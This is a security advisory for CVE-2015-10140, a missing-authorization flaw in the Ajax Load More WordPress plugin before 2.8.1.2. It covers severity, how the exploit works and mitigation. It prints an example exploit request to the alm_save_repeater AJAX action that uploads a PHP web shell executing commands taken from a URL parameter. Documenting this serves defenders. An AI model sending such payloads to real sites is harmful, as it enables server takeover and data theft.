Overview
The vulnerability CVE-2015-10140 is a serious cybersecurity issue that affects the Ajax Load More plugin versions prior to 2.8.1.2. This plugin, widely used for loading more content via AJAX calls, failed to sufficiently authorize some of its AJAX actions. This flaw allows any authenticated users, even those with the low-level subscriber role, to upload and delete arbitrary files on the system. This kind of vulnerability is a significant threat to any website running the affected versions of the plugin, potentially leading to system compromise or data leakage.
Vulnerability Summary
CVE ID: CVE-2015-10140
Severity: High (8.8 CVSS v3 Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise and potential data leakage
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Product | Affected Versions
Ajax Load More Plugin | Before 2.8.1.2
How the Exploit Works
This exploit takes advantage of the lack of proper authorization checks in some of the AJAX actions implemented by the Ajax Load More plugin. Specifically, an authenticated user, such as a subscriber, can send a specially crafted AJAX request to upload or delete arbitrary files on the server. The unauthorized file upload can be used to deploy malicious scripts or web shells, while the file deletion capability can lead to data loss or disruption of website functionality.
Conceptual Example Code
The following conceptual HTTP request demonstrates how the vulnerability might be exploited:
POST /wp-admin/admin-ajax.php?action=alm_save_repeater&nonce=1234567890 HTTP/1.1
Host: vulnerable-website.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="template"
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gWIn this example, a malicious actor uses the `alm_save_repeater` AJAX action provided by the Ajax Load More plugin to upload a PHP file that allows arbitrary command execution on the server.
Mitigation
To mitigate this vulnerability, users are advised to update the Ajax Load More plugin to version 2.8.1.2 or later where this vulnerability has been fixed. If updating is not immediately possible, users can consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation measure. It is also recommended to regularly monitor system logs and audit any suspicious activities.